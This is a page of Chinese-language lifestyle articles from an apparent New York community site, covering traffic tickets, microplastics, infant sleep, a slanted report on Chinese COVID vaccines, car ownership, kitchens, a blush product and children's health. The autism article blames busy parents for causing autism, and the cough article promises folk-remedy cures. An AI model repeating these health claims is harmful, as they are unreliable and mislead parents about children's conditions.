当你拿到罚单, 如果直接交罚款就等于认罪。除了停车罚单和电子监控相机拍到的罚单可以直接认罚, 其他罚单如车在驾驶过程中,警察让您停车后所开出的交通违规罚单, 如果直接交罚款了, 法庭就会通知交通局(DMV)。

因为驾驶过程中的违规会增加交通事故发生的概率, 比如超速, 跟车太近,不安全变道, 不按规定车道行车或行驶在两车道之间, 闯红灯,不遵守交通信号, 等等. 交通局对这些违规都设置了相应的点数, 交罚款后,交通局会将定罪后的点数记录到您的驾驶纪录上, 而这个违规记录至少4年之内不会从您的驾驶纪录上删掉, 虽然18个月之后,交通局会将扣掉的点数还给您, 但是曾经的违规记录还是会显示于驾照记录至少4年.

而18个月返点是指如果您今天因为行车时使用电话被警察开罚单了, 立即认罪交罚款了,被扣5分, 还剩6分, 纽约州司机每人18个月内不得扣分超过11分, 否则驾照被停牌或吊销, 18个月后交通局将5分还给您, 即仍然有11分可以被扣, 但是您曾经有过开车打电话的不良纪录会存在于驾驶纪录至少4年.

汽车保险: 您的驾驶纪录, 或您保单上其他司机的驾驶纪录是影响汽车保险费高低的主要基准, 这就意味着驾照上的点数会使您的保费在今后的4年里大幅上涨, 累计起来是一笔不小的额外支出。

(Pixabay)

需要值得注意的是:外州的司机在纽约拿到行车罚单,必须妥善处理,认罚或败诉,纽约交通局都会将您的不良驾驶纪录传达到您驾照所属地,造成点数上涨及保险涨价(停车罚单和照相机抓拍的罚单除外)。

2、上诉

在罚单上列出的出庭日期前,直接去法庭罚单接收窗口,说明认罪或不认罪。如果不认罪,对方会寄给你另一份通知,列出开庭日期。你也可以寄信给法庭说明不认罪,即Written Declaration,在规定日期之前寄出到法庭。

关于证据,你可以先留心罚单上的信息是否都正确。如果警察在记录过程中犯错,将部分关键信息写错或漏掉,那么你的罚单很会因此而增加被成功撤销的可能性。还可以注意一下罚单日期、时间、地点等具体信息是否有偏差。明显的证据一定要记得拍照记录!比如地面大坑导致紧急转弯等等。这些都可以放在书面申诉中。如果你有行车记录仪,可以让你占据更有利的位置。

法院收到你的信之后,会让给你开罚单的警察在短时间内填写一个复杂的表格,开启书面辩论模式。但对于大部分警察来说,他们事务繁忙,对于书面回复这种事情,内心是十分拒绝的,因此,他可能会“忘了”回复,那么你就直接辩论成功了。

特别是,如果你在书信中,用各种科学公式证明你的无辜,那么很可能他们看到就很头昏了,完全放弃抵抗。毕竟,有那个时间,他们完全可以出去多开几张罚单。

然后,你需要做的就是等待结果,无非以下三种可能:无罪,退还所有罚金;有罪,但是法官决定减少你的罚金或点数,你会收到部分退款的支票;第三种可能比较少,就是有罪而且需要增加罚款,你会收到一封信告诉你如何补差价。

如果拿的是刑事罚单,建议请律师出庭争取将惩罚最小化。

四、申请上诉的常见理由

很多人对找理由有些不在行,那么下面这些观点可供参考。千万要杜绝“我不知道……”或者“虽然我违法了,但是…… ”之类的表达。因为在美国可不存在“不知者无罪”,法官也许会同情你,但还是会狠狠罚你,绝不手软。

申请白单上诉的常见理由:

1、禁止停车的标识模糊或者有误;

2、路边停车收费表出现故障或者设置有问题;

3、停车位划分界线模糊或有误;

申请黄单上诉的常见理由:

1、警察没有确凿证据或证据不足:有时罚单上的处罚内容会写得十分模糊,例如「低于限速行驶」就只写成「疏忽驾驶」(careless driving),缺乏确凿证据;

2、自己有证据证明警察错判(实况照片);

3、有特殊情况和不得已而为之的理由,如天灾人祸或医疗紧急事件等。

至于粉单,还是交给专业的律师吧。


小编推荐的纽约资深交通律师:

纽约车祸律师建议: 牢记车祸处理八要点 (718-751-5002, 646-801-8829)

2021-04-10 / by / in , , , , , , , ,
瓶装水含有大量塑料微粒,你敢给孩子喝吗?

文|雨荷

在许多人的观念里,瓶装水总是要比自来水干净,给孩子喝也更安全。但是现在有研究发现,一升瓶装水里平均含有300多个比头发丝还细的塑料颗粒,它们的浓度平均是自来水的2倍。而且现在没有人知道,这些塑料微粒会不会危害孩子和你的健康。

瓶装水几乎已经是许多人生活中不可缺少的东西,甚至在家里、在办公室,瓶装水也成为日常饮用水的标配。不过,最近的研究报告可能会让人们考虑改变这样的生活习惯。

著名期刊《环境科学与技术》(Environmental Science and Technology)刊载了一份题为「人体摄入的塑料微粒」(Hu man Consumption of Microplastics)的研究报告,指喝瓶装水会大幅增加摄入的塑料微粒数量。

根据数据分析,瓶装水的塑料微粒平均比自来水多出22倍,如果一个人一年只喝自来水,会喝入4,000颗塑料微粒;但是如果一年只喝瓶装水,可多摄入9万颗。

塑料微粒通常是指直径小于5毫米的塑料颗粒,多来自于塑料瓶、塑料包装袋等塑料制品的解体分化。较大的塑料微粒肉眼可以观察到,而较小的只有一个细胞大小。这不是针对瓶装水塑料污染的第一份研究报告。

瓶装水,示意圖。(pixabay)

名牌瓶装水普遍检测到塑料微粒

2018年,由非营利新闻机构Orb Media牵头,对9个国家、11个品牌的250瓶畅销瓶装水进行了检测,这是迄今为止全球最大规模的一次检测。

检测发现,93%的瓶装水含有直径大于0.1毫米的塑料微粒;这样比头发还粗的塑料微粒,每升水中平均含10.4颗。

美国纽约州立大学弗雷多尼尔分校化学教授谢丽•梅森(Sherri Mason)负责检测和分析,她表示,「我们在一瓶又一瓶、一个又一个品牌中发现了(塑料微粒)」。

需要说明的是,这259瓶被检测的瓶装水全是著名的国际品牌或国家品牌。

现实生活中塑料微粒几乎无处不在,人们几乎无从避免。但是基于两个原因,梅森说我们应该更加关注瓶装水的塑料污染问题:第一,喝瓶装水比直接用杯子直接接自来水会喝到更多更多的塑料;第二,瓶装水消费量巨大。

对于大部分美国人来说,自来水管中的水和瓶装水,就健康和营养质量来说,并没有什么不同。在有些情况下,公共自来水龙头的水要更安全,因为他们频繁接受检测。在中国虽然广告向消费者传达的信息是瓶装水干净、安全、健康,但这不能代表所有瓶装水和包装水产品。2015年中国食品监管部门抽检的结果表明,407种被查出的有问题饮料中,有将近400种是不合格的瓶装水和包装水。

407种被查出的有问题饮料中有将近400种是不合格的瓶装水和包装水。示意圖。(pixabay)

塑料微粒的危害

塑料本身的成分和塑料吸附的成分,都可能对人和生态造成负面影响并产生副作用。人的粪便中排出了微塑料并不意味着通过饮食和饮水进入人体的微塑料就能全部被排出,它们必然会或多或少存留在体内并蓄积。而且,既往的研究也表明,直径小于20微米的塑料颗粒可以进入血液循环系统,并且在内脏中累积。至于它们是否会造成危害,还需要进一步的研究结果。

2016年欧洲食品安全局下属的期刊EFSA Journal发表的一项研究表明,塑料微粒对人体的影响主要体现在其中含有的污染物上,如多氯联苯(PCB)和多环芳烃(PAH)。塑料作为高分子聚合物在正常使用情况下可以被认为是无毒安全的,但是在塑料的生产过程中,为增加和改变其功能会增添其他一些化学成分,如塑化剂(增塑剂)、抗氧化剂、染料、颜料等。

以塑化剂而言,最常见的是邻苯二甲酸二(2-乙基己)酯(DEHP),释放到环境后便成为环境雌激素中的酞酸酯类。无论是人还是海洋生物,大量摄入塑化剂会形成假激素并传递模拟或虚假的化学讯号而干扰内分泌功能,影响生殖和发育,造成畸胎,甚至致癌。

此外,塑料的吸附性很强,尤其是微塑料,能吸附很多有害物质。多个国家的研究人员曾对当地海洋搜集的微塑料表面的有机污染物进行分析,发现有些地区的持久性有机污染物(POPs)含量可高达24000纳克/克。持久性有机污染物是一大类有害物质,具有高毒、持久、生物积累性、亲脂憎水性等特点。

持久性有机污染物甚至在低浓度时也会对生物体造成伤害,例如,二恶英类物质中最毒者的毒性相当于氰化钾的1000倍以上,号称世界上最毒的化合物之一,每人每日能容忍的二恶英摄入量为每千克体重1皮克。二恶英中的2,3,7,8-四氯二苯并二恶英(2,3,7,8-TCDD)只需几十皮克就足以使豚鼠毙命,连续数天对孕猴饲喂每千克体重几皮克的剂量就能致其流产。

豚鼠(pixabay)

尽管塑料微粒对人的危害尚无研究结果证实,但塑料微粒对其他生物的伤害已经有一些研究结果。2016年瑞典研究人员的一项研究表明,高剂量的聚苯乙烯型微塑料能抑制鲈鱼的孵化和生长。而且该项研究中采用的颗粒物浓度在瑞典沿海岸的范围内,每立方米为150~102,000个微粒。

塑料微粒对人造成的危害可能需要时间和数量的积累来实现。但目前微塑料就已经广泛存在人体内, 因此,我们现在要做的就是,立即行动起来,迅速改变现状,从我做起,减少塑料的使用,减少塑料垃圾,积极主动地做好垃圾分类!否则,塑料污染程度会进一步的恶化,我们最终都将自食恶果,并且留给我们的后代一个塑料星球。

2021-04-10 / by / in , , , ,
家有睡渣宝宝 妈妈很苦恼 教你7个技巧

文|雨荷

宝宝要健康成长,除了要摄取足够的均衡的营养以外,拥有足够的优质的睡眠也是必不可少的。当宝宝睡着的时候,大脑其实并不是在休息,而是在发育。哄睡,对于妈妈们来说,是一件头等大事,如果宝宝难入睡,拖到很晚的话也会影响到父母的睡眠,同时宝宝的自身睡眠时间要是没有把握好的话,也很容易影响成长的。那么,宝宝哄睡有什么技巧?

技巧一:襁褓

把宝宝包裹在襁褓里面,这已经是上千年的智慧了,有一些爸爸妈妈总觉得这样让孩子的手臂不自由不好,但是孩子在妈妈肚子里就是这样的啊,这就是他们最舒服的状态。包的时候要注意上身紧下身松,手臂要伸直了放在身体两侧,腿有一定的活动空间,这样包裹起来对宝宝是最友好的。有一点要注意,如果宝宝已经可以翻身,就不能再用襁褓了,因为害怕孩子在睡梦中翻动,会遮住口鼻造成窒息。

包的时候要注意上身紧下身松,手臂要伸直了放在身体两侧

技巧二:侧卧或者俯卧

接下来可以尝试的是让孩子侧卧在我们怀中,就像是反向喂奶一样,也就是像喂奶一样把孩子抱在怀里,但是脸是朝外的。这是因为平躺其实对孩子来说是一个刺激,蜷缩起来,侧卧或者俯卧才是他们习惯的方式,但是大家一定要注意,侧卧的时候一定要有人看守,一旦孩子睡着,一定要换成仰卧。

技巧三:催眠曲

这可能是流传范围最广的哄睡方法了,当妈妈在宝宝耳边轻唱时,温柔的语气、独特的嗓音会给宝宝安定感,帮助宝宝入睡。

技巧四:白噪音

这个方法也主要是通过模仿子宫环境达到催眠效果,对于 3 个月以下的宝宝比较适合。白噪音还可以抵抗吵闹的环境噪音。

常见的白噪音包括雨声、海浪声、吹风机、洗衣机、收音机等出的声音,这些声音可以通过录音或者下载白噪音软件获得。而家长有时哄宝宝时会「嗯嗯」「哦哦」地哼唱,也有类似白噪音的效果。 当然,爸妈要注意要随着睡眠的不同状态调整声音的大小。长期处在噪音环境对宝宝有害,所以注意声音不要太大。

技巧五:摇动

这里说的摇动绝对不是大幅度的摇晃,而是五六厘米以内的小幅轻摇,而且轻摇最好是比较快的颤抖性轻摇,孩子越不安摇动越要快速越小幅,当他安静下来,可以逐渐变慢,摇得要有节奏。这就是为什么育儿嫂会用抱着孩小步快跑的方式来摇会很有效果的原因,注意一定要确保孩子头部和身体在一条直线上,否则容易出现摇晃综合症。

摇晃可以逐渐变慢,摇得要有节奏。

技巧六:在触觉上下功夫

通过温柔地触摸宝宝的脸蛋、四肢、身体,可以让宝宝得到更好地放松,也就更容易入睡了。

1.面颊抚触

拇指放在婴儿前额中间(眉毛上方)用指腹轻柔向两侧平推至太阳穴,重复 3 次。

拇指从宝宝下巴处沿着脸的往外推压,至耳朵处。

2.耳朵抚触

双手捏住耳朵,轻轻扯拉揉捏。拇指沿着耳廓画圈。

3.手臂抚触

从上到下顺着经脉轻轻揉捏,手臂做伸展运动。在宝宝的手掌、手背画圈,让他手臂张开。捏住一根手指,从指跟拉至指尖。  腿部和脚掌抚触类似。

捏住一根手指,从指跟拉至指尖。  腿部和脚掌抚触类似

4.腹部抚触

围绕肚脐顺时针画圈抚摸宝宝的腹部。

5.背部抚触

两手交替至上而下的用手掌按摩背部肌肤。两手手掌按在背部,分别从脊椎推至两侧。

6.胸部按摩

双手放在肋骨附近,用手掌交替向肩部推去。

技巧七:让宝宝自己哄自己

宝宝吸乳头、含着安抚奶嘴和自己的手,都是通过吮吸生愉悦、镇静感,也是小月龄宝宝睡前安抚很重要的一环。同样地,让宝宝吸乳头哄睡也要注意度,奶睡的荆棘路千万别走。

当宝宝 6 个月后,可以给一个娃娃、或者一个毛巾陪着宝宝睡觉,起到安抚的作用。另外,妈妈的衣服也可以起到安抚的效果。

给宝宝一个娃娃,自己安抚自己。

如果宝宝实在是睡不着,可以叫他醒来,不要一直哄着而和宝宝「杠上」。过一会儿再尝试哄他睡觉,慢慢地降低活动兴奋度,往安静转,再静待合适时机让宝宝睡觉。睡眠充足的宝宝,精神好、气色好、身体好、性格好,接受事物的能力也很好!

2021-04-10 / by / in , ,
菲律宾总统卫队大批人染疫 传与中国疫苗有关

文|雨荷

在疫情肆虐全球之际,中国新冠病毒(中共病毒)疫苗的研制过程和质量备受质疑,很多中国医务人员对官方层层动员接种态度消极,有专家提出,要打还是领导干部先打。疫苗接种问题于是凸显了官员与民众关系的政治色彩。中共试图通过“疫苗外交”在国际上扩张政治影响力,但中国疫苗却备受世界关注,中国疫苗的防疫效果却备受诟病。

中国疫苗再次出现问题,引起外界担忧。(摄图网)

菲律宾总统安全卫队(PSG)指挥官杜兰特,4/7对媒体披露,PSG累计有126人感染了新冠肺炎(COVID-19),至今仍有45人尚未康复。去年底,曾传出PSG部分成员接种了走私进口的中国疫苗的消息,如今官方证实有上百PSG成员染疫,再次引发外界对中国疫苗有效性太低的疑虑。

巴基斯坦总统艾维(Arif Alvi)于上月中接种了中国国药集团研制的疫苗,4月初他在推特发帖证实自己病毒检验呈阳性。

3月20日,巴基斯坦总理伊姆兰‧汗(Imran Khan)被确认在接受新冠病毒(中共病毒)检测后,呈现阳性反应,在家中自我隔离。就在3月18日,中共官媒报导,伊姆兰‧汗接种了第一剂中共国药集团生产的疫苗。

巴基斯坦3月10日启动普遍接种中共病毒疫苗计划。不过,路透社报导,巴国医护人员对中国制疫苗感到忧心。

柬埔寨《柬中时报》3月19日报导,柬埔寨总理洪森当天为中国制造疫苗站台称“中国疫苗是最安全的。但是,洪森发表上述言论之前,他和妻子已于3月4日接种了英国阿斯利康公司(AZ)的疫苗。

2021-04-10 / by / in , , , , , ,
纽约养车 有3个问题你不能不了解!

文|雨荷

美国是著名的车轮上的国家,纽约是美国人口最多的城市,也是世界最大的城市之一,是对全球的经济、商业、金融、媒体、政治、教育和娱乐具有极大影响力的国际大都会。

据报道,纽约市的一项最新统计显示,养车的费用逐年增加,越来越多的纽约客只好选择不再开车。根据克莱恩商业周刊的这份报告,从2000年至2003年,市民汽车拥有量下降了5%,在有11万华人居住的布碌仑区,有越来越多的开车者不想拥有车子,与美国其他地区相比,纽约的家庭汽车拥有量非常低。仅有45%的家庭拥有汽车。而纽约的曼哈顿作为美国人口密度最大的区,也是美国家庭汽车拥有率最低的区,仅有大约22%的家庭拥有汽车。

纽约是美国人口最多的城市,纽约养车难不难?。

那到底是什么原因 导致纽约人如此不爱买车呢?

一是纽约停车费的问题。与其他地区相比,在纽约拥有一辆汽车的最大障碍是高昂的停车费。如果想在曼哈顿买一套带独立停车位的公寓,那么房费最终价格可能会上涨6万至15万美元。而在大多数有车库的大楼里租一个停车位,租金从100美元到1000美元不等(约为700元-7000元人民币),取决于社区的情况。纽约市停车场管理局的报告显示,纽约市每月的平均停车费约为430美元。除了费用高外,纽约市的停车位严重不足,导致驾驶者在城市里开车找停车位成了一件很痛苦的事情,有钱也没地停的情况极为常见。

在纽约,乱停车的罚款从几十美元到150美元不等。接到罚款单后,司机要在一个星期内将支票寄给纽约市交通部门。司机如果不服气可以向法院提起诉讼,胜诉者可减轻或者免掉处罚。纽约市近年来因为乱停车引发的官司非常多,也有不少司机获得减免。

纽约市街道上随处可见的消火栓旁边是停车的绝对禁区,停车者将会遭受重罚。公共汽车站前当然也不允许其他车辆停靠。此外,纽约市的每条街道都有规划统一的停车标志,标明停车规定,如允许停泊车辆的类型、时间段以及平日和周末可分别停泊什么类型的车辆。牌子上写着,有的地方只允许当地小区居民的车辆停泊,有些地方某些日子不让使用,不仔细看、停错了地方,很可能要被罚款。在一些交通繁忙的商务区,规定就更加细致。

纽约停车费很貴,而且罚款高,不仔细看、停错了地方,很可能要被罚款。

二是保险的问题。纽约汽车保险在很贵。纽约汽车保险费平均为每年1582美元,比美国全国平均水平高出近11%。保险公司会使用地域评级。而在纽约布朗克斯区和布鲁克林区等区域停车,被保险公司判定为比其他地区更容易产生盗窃、交通事故和车损索赔,因此保费也就居高不下。此外,纽约汽车保险费用的计算也和驾驶员的年龄和持有驾照的年份直接“挂钩”,也就是说,越年轻的驾驶员往往面临越贵的保费。

三是纽约交通拥堵的问题。纽约交通拥堵排名世界第三,仅次于洛杉矶和莫斯科。有报告称,在曼哈顿中城,汽车的平均速度是每小时4.7英里,仅仅比走路快一点点。纽约市政府也想过一些手段来控制交通拥堵问题,美国纽约州议会通过的新年度财政预算案中在曼哈顿繁忙路段征收“塞车费”,以改善交通拥堵问题,如果开始征收拥堵费,可以预见的是,这笔费用一旦开始征收,愿意掏钱买车的纽约人会更少。预计纽约“塞车费”在2021年开始,纽约市将成为全美第1个开征收「塞车费」的城市。

纽约市政府计画在在曼哈顿繁忙路段,例如对曼哈顿60街以南(即​​中央公园以南)城区的车辆征收塞车费,但之前川普政府并不愿意批准者项计画,不过现任的拜登政府正在让计画实现当中。

由于养车太难,买车的人越来越少,据纽约多家车行介绍,进入2005年以来,新车的销售量明显不如往年。当然,也有很多在纽约生活的人表示,拥有一辆汽车确实能为生活带来不少便利。 私家车可以使更远的地方购物变得更容易,尤其是在购买大件物品时。更重要的是,可以随时随地离开都市,而不用考虑公共交通时间和换乘问题,这种优势在有小孩子的家庭尤为明显。

2021-04-10 / by / in , , , , , , , ,
厨房装修全攻略 橱柜、灶台、水槽怎么摆?要多大?纽约厨房装修这里找

文|无疆行者

中国人讲 “民以食为天”,厨房装修是室内装修里的重中之重。由于厨房装修过程中涉及到太多的细节,一不小心就忽略了,等后期再想补救的时候就特别麻烦,今后使用起来,会给主妇们无形之中增加下厨的辛苦。今天行者就给大家全面介绍一些厨房装修的要点,希望能对小伙伴们有所帮助喔~ ~

一个使用体验很棒的厨房,它的厨房布局应该是什么样子的呢?

厨房的动线应该符合烹饪习惯,从冰箱取出食物,到水槽处理,操作区切菜、再到燃气灶烹饪。合理的厨房布局就是满足上述4个功能的实现。一般可以把厨房分为:一字型、双排型、“L”型和“U”型四种类型。

一字型适用于狭长型厨房,操作距离较长,冰箱可以放在橱柜对面也可以放置在厨房外面。小户型中见到的比较多,这样做即使厨房面积小,空间狭长,但是也能有充足的活动空间。

一字型厨房布局。

双排型比U型要少一侧的橱柜,灶台和冰箱、水槽分离,做饭的时候许多操作只需要转身即可完成,动线被大大减少。适用于人口比较多的家庭,做饭时2人一起操作比较有效率。

双排型厨房布局。

L型厨房应该是目前家装中最常见到的设计,小户型和刚需户型中的厨房尤为适用,功能分区合理,动线少活动空间大,而且储物空间也比一字型要大许多。

U型厨房布局。

U型是厨房布局最舒适,动线最合理的厨房布局,储物空间也是最大,一般是大户型中常用到的布局。

U型厨房布局。

厨房收纳原则

收纳的原则是:上轻下重中间常用。

油烟机设计

油烟机设计的位置尽量不要距离公共烟道太远,烟管安装也尽量别太多转弯,否则,吸烟效果会大打折扣。

厨房常用到的尺寸设计

灶台尺寸

从人体工程学来说,其实厨房里面每个地方都是有最优的尺寸设计,其中灶台高度一般在70-80cm最合适,操作台80-85cm最优。因为这样的高低设计可以有效缓解腰部压力,让主妇做饭的时候更舒服些。

符合人体工程学的灶台尺寸。

当然你家是定制厨房,可以根据主妇的身高直接定制台面高度,公式是台面高度=(身高/2)+5~10cm

符合人体工程学的灶台尺寸。

橱柜尺寸

厨房里面最大件的家具那就要数橱柜了,要占到3分之1甚至一般的厨房面积。所以橱柜的设计很重要,灶台和上橱柜的距离要在60-70cm之间,这样既能保证火焰不会伤到橱柜,又能保证主妇有充足的视野。

厨房装修的注意事项

1、装修时预留冰箱的位置、宽度、长度,都要提前确定好,最好有富余的空间,有利于冰箱散热。

2、后悔厨房没有装空调,夏天一到做饭的时候,热的要命;如果考虑节省电费,也可以考虑装个电风扇。

3、抽油烟机离灶台很近

很多人认为抽油烟机离灶台越近,抽油烟机的功能越强,这是一个误区,抽油烟机的有效距离一般是0.8米,在此范围内的抽烟效果差不多。

4、台面高度不合理,台面的高度要根据使用厨房的人的身高定制,通常台面的高度为65—90cm。确定最佳高度的方法是:操作者前臂平抬,从手肘下返10—15cm的高度为厨房台面的最佳高度。

5、为了增加橱柜的收纳功能,在定制橱柜的时候,最好能多增加隔板,方便存储。

6、选用优质五金。

7、没有提前装净水器,过后想装无奈太过麻烦。


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2021-04-08 / by / in , , , ,
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文|美颜小伙伴

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2021-04-07 / 1 Comment / by / in ,
小编推荐:小蜜蜂腮红 刷出零负担的好气色

文|美颜小伙伴

小蜜蜂(Burt’s bees)腮红在美国药妆店、卖场都能轻易找到,像是CVS、Walmart、Target,适用于所有肤色。能让肌肤呈现健康的红润与透亮感,妆感自然,显色不厚重。想使用天然腮红的小伙伴们,选择Burt’s bees就对了!

小蜜蜂Burt’s bees100%天然矿物腮红,共有5种色号。(图来自Burt’s bees官网)

官网售价:$9.99
小编推荐指数:★★★★★(最高5颗星)

这款100%天然矿物腮红,共有5种色号:1205(裸桃色)、1210(粉红色)、1215(肉桂色)、1209(杏色)、1213(酒红色)。

1209 – Fresh Apricot。(图来自Burt’s bees官网)

1213 – Velvet Wine。(图来自Burt’s bees官网)

产品经皮肤科医生测试

配方不含滑石粉、对羟基苯甲酸酯、邻苯二甲酸盐、月桂基硫酸钠(SLS)、石油脂和合成香料。产品经皮肤科医生测试,且未使用动物实验。

Burt’s bees腮红含有非常好的植物提取成分,包括角鲨烷、荷荷巴油、蜂蜜、竹茎提取物和维生素E等,可轻松均匀涂抹、混合,化妆的同时也能兼具保养效果,从内而外滋润肌肤,加强自然光泽。

刷出好气色、立体感

Burt’s bees腮红适用所有肤色,打造自然妆感,质地细致不粗糙。

1215(肉桂色)轻刷在发际线、咀嚼肌、颧骨两侧、鼻梁阴影处和下巴,让脸部轮廓更加立体。

1215 – Toasted Cinnamon。(图来自Burt’s bees官网)

1210(粉红色)轻刷在脸颊,柔和的色彩,给你少女苹果肌,散发白里透红好气色,就像是盛开的粉红花儿。

1210 – Shy Pink。(图来自Burt’s bees官网)

用1205(裸桃色)在颧骨下轻轻画圆晕染,制造脸颊红晕的同时,又能自然修容,让双颊更有立体感。

1205 – Bare Peach。(图来自Burt’s bees官网)

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2021-04-07 / by / in ,
不容忽视 每68名孩子约有1名患自闭症

文|雨荷

自闭症大家都不算陌生,随着社会不断进步,生活节奏加快,父母们也越来越忙 ,很少有时间陪在孩子身边,这个时候孩子就容易出现一些轻微的自闭症(孤独症)表现。是一种较为严重的发育障碍性疾病。多发生在婴幼儿时期,以社交障碍、交流障碍、局限的兴趣、刻板与重复的行为方式等为主要症状,患儿多数还会伴有不同程度的智力发育迟滞。

自閉症兒童,男孩多於女孩。

据估计在美国, 每68名儿童中就有1名患有自闭症,尽管自闭症的男孩多于女孩,但这种情况在所有种族和社会经济群体中都存在。

体征和症状

患有自闭症的人经常在社交、情感和沟通技巧方面存在问题。他们可能会重复某些行为,并且可能不想改变他们的日常活动。许多患有自闭症的人也有不同的学习方式,注意力或对事物的反应。自闭症的征兆始于儿童早期,通常持续到一个人的一生。

儿童患有自闭症的症状:

• 特别喜欢能够旋转的东西。
• 当别人指向他们时,不看物体。
• 遇到与他人有关的麻烦或根本不对他人感兴趣。
• 避免目光接触,想一个人待。
• 难以理解别人的感受或谈论自己的感受。
• 不想被拥抱或拥抱,或者只在他们想拥抱时才拥抱。
• 会特别的依赖某一件东西。
• 对于一切危险都不会感到惧怕。
• 会反复的学着别人说话。
• 孩子对于声音没有任何反应。
• 不会与人进行目光的对视。
• 一遍又一遍地重复动作。
• 自身对于疼痛并不敏感。
• 莫名其妙的就会独自笑起来
• 会突然不明所以的哭闹。

诊断自闭症

自閉症患者有其它並發症狀,需要父母更多的關愛。

诊断自闭症可能很困难,因为没有像血液检查这样的医学检查可以诊断疾病。医生会根据孩子的行为和发育情况做出诊断。有时可以在18个月或更年轻的时间内检测到自闭症。到2岁时,由经验丰富的专业人员进行的诊断,可以认为是非常可靠的。但是,许多孩子要等到大一点以后,才能进行最终诊断。这种延迟,意味着患有自闭症的儿童可能无法获得早期帮助。

目前尚无治愈自闭症的方法。但是,研究表明,早期干预治疗服务可以改善儿童的发育。早期干预服务可帮助从出生到3岁的儿童学习重要技能。服务可以包括治疗,以帮助孩子说话,走路和与他人互动。家庭参与,包括父母的培训。与同龄人典型的神经互动。

自闭症并发症

如果患有自闭症,可能会遇到感觉问题、癫痫发作、精神健康障碍或其它并发症。
感官问题
如果患有自闭症的人,可能会对感觉输入非常敏感。大声的声音或明亮的灯光可能会导致他严重的情绪不适。另外,他可能根本不对某些感觉做出反应,例如过高的温度、寒冷或疼痛。
癫痫发作
癫痫发作在自闭症患者中很常见。他们通常始于童年或十几岁時。
精神健康问题
患有自闭症会使您处于抑郁、焦虑、冲动行为和情绪波动的风险中。
精神障碍
许多患有自闭症的人都有一定程度的精神障碍。患有脆性X综合征的儿童更容易患自闭症。该综合征是由X染色体的一部分缺陷引起的。这是精神障碍的常见原因,尤其是在男孩中。
肿瘤
结节性硬化症是一种罕见的疾病,可导致良性肿瘤在您的器官(包括大脑)中生长。结节性硬化症与ASD之间的联系尚不清楚。但是,结节性硬化症儿童的自闭症发生率要比无此疾病的儿童高得多。
其他并发症
自闭症可能伴随的其他问题,包括攻击性、不寻常的睡眠习惯、不寻常的饮食习惯和消化问题。

表達不喜與外接接觸的自閉症患者的雕塑像。

因此,如果您认为您的孩子患有自闭症或其它发育问题,请尽快与您的孩子的医生交谈。即使您的孩子尚未被诊断出患有自闭症,他也可能有资格获得早期干预治疗服务。在残疾人教育法案(IDEA)對3岁以下(36个月),有发育迟缓风险的儿童可能有资格获得服务。这些服务是通过您所在州的早期干预系统提供的。通过该系统,您可以要求进行评估。

2021-04-07 / by / in
孩子天天咳嗽 除了治疗 这些妙招不可缺

|雨荷

随着天气变化,冷热交替,由于孩子身体发育尚未完全,抵抗力弱,孩子容易感冒咳嗽,咳嗽是感冒常伴随出现的症状之一。从医学上讲,咳嗽是一种防御性反射运动,可以防止异物吸入,可以将痰液吐出。孩子偶尔咳嗽还是有利于身体健康。

咳嗽老不好,久治不愈,家长就要有警觉

通常,孩子感冒持续7-10天,咳嗽往往是最迟消失的症状,甚至持续好几周,只要孩子咳嗽的次数逐渐减少了,精神好,胃口佳,正常活动玩耍,家长们就别担心。

如果孩子咳嗽老不好,反反复复咳嗽,久治不愈,家长就要有警觉,可能是慢性咳嗽,其中最常见的原因就是气管过敏与哮喘;少数可能是特殊的传染病包括:百日咳、肺结核、霉浆菌等都可能导致慢性咳嗽;此外胃食道逆流也会引起慢性咳嗽。家长必须带孩子去医院了解病因找出治疗方法,对症下药。

家长必须带孩子去医院了解病因找出治疗方法,对症下药(图片来源pixabay)

孩子咳的难受,家长可以做点什麼?

拍背:孩子咳嗽难受,家长可以帮孩子拍背,利于痰液吐出,令孩子舒服些。家长们也可以做些利于止咳、清淡易消化的食物给孩子吃,补充孩子所需的能量。当宝宝剧烈咳嗽时,最好将其抱起,使他的上身呈45度角,同时用手轻轻拍宝宝的背部,使粘附在气管上的分泌物得以稀释,利于咳出。

保持空气温度、湿度和洁净度十分重要:室温最好保持20-26℃左右,定时通风,保持室内湿度50%-70%,利于痰液稀释而咳出,空气太干燥,痰液粘在气管壁上不易排出。

梨汁炖冬菇:梨能润肺凉心、消痰降火,冬菇内的双链糖核酸在人体内产生的干扰素能消灭体内的病毒。用“梨汁炖冬菇”的食疗法防治秋冬的燥咳,消除感染,一般服用两三天即见收效。将4个鸭梨去皮切片榨成汁,把冬菇200克洗净切片,加适量水和冰糖同炖,等冬菇炖熟后,早晚分两次连汤同食即可。

白萝卜煮水:如果孩子一连数日咳嗽不止,晚上难以入睡,可买几根白萝卜,每晚把半截萝卜切成片,用清水煮,萝卜熟后用茶杯或小碗将水滤出,待稍冷后喝下。咳嗽便可减少。连续喝几天,咳嗽就可痊愈。

可买几根白萝卜,每晚把半截萝卜切成片(图片来源pixabay)

咳嗽忌食3类食物

正确饮食能够在治疗病情上助上一臂之力,反之则是加重病情。孩子天天咳嗽,这3大类食物也是不能吃的!

1.鱼虾海鲜

很多宝妈看孩子生病,就会给孩子做一些高蛋白又营养清淡的海鲜粥,但这是错误的,鱼虾蟹等海鲜都属于高蛋白食物,孩子本身已经咳嗽,这只会让孩子不易消化,导致积食,另外海鲜属寒性,自身无法排出体外,寒气就会转化成湿热影响肺部,加重孩子咳嗽。

2.油炸食品

炸薯条、炸鸡排、炸鸡翅这些油炸食物深受孩子的喜爱,可是这些脂肪类食物不仅又油又腻,还会加重脾虚、肺热的症状,导致咳嗽更难治愈,另外还会导致孩子上火,简直是火上浇油。

炸薯条、炸鸡排、炸鸡翅这些油炸食物深受孩子的喜爱(图片来源pixabay)

3.糖果甜点

咳嗽时绝对不能吃糖,糖果甜腻、助湿生痰,只会更发加重咳嗽,所以宝妈一定要严格控制;甜品无疑是孩子的最爱,但是大部分甜品都是用植物奶油做的,含油量和糖分都很高,另外其中含有大量的反之脂肪酸,会对孩子的肠胃造成更大的负担,而甜食也说了只会让咳嗽越来越糟。

生病期间的忌食是很重要,而孩子往往抵抗诱惑的能力较差,这时就需要宝妈严格监督了!

此外,家中不要有人抽烟、点香、点蚊香或精油等燃烧物,并且尽早开始打造少尘螨、少霉菌、少空污的居家环境,都能帮忙预防过敏体质的产生。为了孩子的呼吸道健康,家长还是提早做准备,不要存侥幸的心理。预防胜于治疗,健康是父母能给孩子最好的礼物。

2021-04-07 / by / in
美国社会重视信用,一不小心,忘记及时归还信用卡款借款怎么办?

文|小庆

